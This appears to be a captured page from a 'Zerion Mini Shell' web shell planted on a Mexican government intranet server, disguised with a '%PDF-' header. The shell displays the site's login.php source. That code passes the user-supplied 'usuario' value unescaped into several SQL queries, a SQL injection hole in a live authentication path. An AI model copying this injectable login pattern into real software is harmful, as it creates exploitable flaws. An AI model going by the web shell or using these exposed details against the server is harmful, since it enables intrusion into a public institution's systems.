%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/controller/login.php

<?php
session_start();
    
    include "../config/config.php";
	
	$user 		=	isset($_REQUEST['usuario']) ? $_REQUEST['usuario'] : '0';
	$password 	= 	isset($_REQUEST['password']) ? $_REQUEST['password'] : '0';
	
	//$id_municipio 	= 	115;
	
    $redireccion = "../page_inicio.php?permiso=0";
	if(isset($_REQUEST['usuario']) AND isset($_REQUEST['password']) )
	{
		$conf = new Configuracion();
		$conf->conectarBD();
		
		/*$sql = "SELECT id, nombre, id_rol, id_estatus FROM tjam_empleados 
		                WHERE rfc = '$user' AND password = '$password' AND habilitado = 1";
		$rst1 = $conf->consulta($sql);*/
		
		$sql = "SELECT id, nombre, id_rol, password_hash, id_estatus FROM tjam_empleados 
		                WHERE rfc = '$user' AND habilitado = 1";
		$rst0 = $conf->consulta($sql);
		$hash = $rst0[0]['password_hash'];

		
		
		if(count($rst0) == 0 )
		{
            $redireccion = "../page_inicio.php?error=10";
		}
		//else
		else if(password_verify($password, $hash))
		{
		    $sql1 = "SELECT id, nombre, id_rol, id_estatus, id_visitaduria, id_diplomado FROM tjam_empleados 
		                WHERE rfc = '$user' AND password_hash = '$hash'";
		    $rst1 = $conf->consulta($sql1);
		    $redireccion = "../page_inicio.php?error=7";
		    
		    if($rst1[0]['id_estatus'] == 6 )
		    {
		           $fecha_fin = date('Y-m-d');
		         $id_user = $rst1[0]['id'];
		        	$sqlT = "SELECT fecha_cargo, tipo_declaracion, finalizar FROM contraloria_declaraciones 
		                WHERE id_usuario = '$id_user' AND finalizar = 1 AND tipo_declaracion = 3  AND DATE_FORMAT(fecha_registro,'%Y-%m-%d') >= fecha_cargo ORDER BY fecha_registro DESC LIMIT 1";
		            $rst1RT = $conf->consulta($sqlT);
		        
		            $num_emp = $rst1[0]['num_empleado'];
		        	$sqlTFirma = "SELECT * FROM tjam_nominas 
		                WHERE firma = 0 AND id_empleado =  '$num_emp' ORDER BY fecha_registro DESC LIMIT 1";
		            $rst1RTFirma = $conf->consulta($sqlTFirma);
		        
		        if(count($rst1RT) > 0 && count($rst1RTFirma) == 0 && 1 != 1)
    		    {    
    		        $redireccion = "../page_inicio.php?error=6";
    		    }
    		    else
    		    {
        		    $id_user = $rst1[0]['id'];
        		    $nombre = $rst1[0]['nombre'];
        		    $rol =  $rst1[0]['id_rol'];
        		    $_SESSION['usuario'] = $user;
        		    
    		        $_SESSION['num_empleado'] = $rst1[0]['num_empleado'];
        		    $_SESSION['id_usuario'] = $id_user;
        		    $_SESSION['nombre'] = $nombre;
        		    $_SESSION['id_rol'] = $rol;
        		    $_SESSION['id_visitaduria'] = $rst1[0]['id_visitaduria'];
        		    $_SESSION['diplomado'] = $rst1[0]['diplomado'];
        		    $_SESSION['id_estatus'] = $rst1[0]['id_estatus'];
        		    $_SESSION['ccat'] = $rst1[0]['ccat'];
        	        $_SESSION['cafe_limit'] = $rst1[0]['cafe_limit'];
        		    $_SESSION['giro'] = $rst1[0]['giro'];
        		    $_SESSION['evaluacion'] = $rst1[0]['evaluacion'];
        			$_SESSION['start'] = time();
        			$_SESSION['expire'] = $_SESSION['start'] + (240 * 60 * 8 *12);
        	
        		    $redireccion = "../page_home.php";
    		    }
		    }
		    if($rst1[0]['id_estatus'] > 2 AND $rst1[0]['id_estatus'] < 5 )
		    {
		        $redireccion = "../page_inicio.php?error=7";
		    }
		    if($rst1[0]['id_estatus'] == 1 or $rst1[0]['id_estatus'] == 2 )
		    {
    		    $id_user = $rst1[0]['id'];
    		    $nombre = $rst1[0]['nombre'];
    		    $rol =  $rst1[0]['id_rol'];
    		    $_SESSION['usuario'] = $user;
    		    $_SESSION['id_usuario'] = $id_user;
    		    $_SESSION['id_visitaduria'] = $rst1[0]['id_visitaduria'];
    		    $_SESSION['diplomado'] = $rst1[0]['diplomado'];
    		    $_SESSION['num_empleado'] = $rst1[0]['num_empleado'];
    		    $_SESSION['nombre'] = $nombre;
    		    $_SESSION['id_rol'] = $rol;
    		    $_SESSION['id_estatus'] = $rst1[0]['id_estatus'];
    		    $_SESSION['ccat'] = $rst1[0]['ccat'];
    	        $_SESSION['cafe_limit'] = $rst1[0]['cafe_limit'];
    		    $_SESSION['giro'] = $rst1[0]['giro'];
    		    $_SESSION['evaluacion'] = $rst1[0]['evaluacion'];
    			$_SESSION['start'] = time();
    			$_SESSION['expire'] = $_SESSION['start'] + (240 * 60 * 8 *12);
    		    
    		    $redireccion = "../page_home.php";
		    }
		  
		}
		else
		{
			$redireccion = "../page_inicio.php?error=9";
		}
		
	}
	
			    header("Location: $redireccion");
	
	
	
?>

Zerion Mini Shell 1.0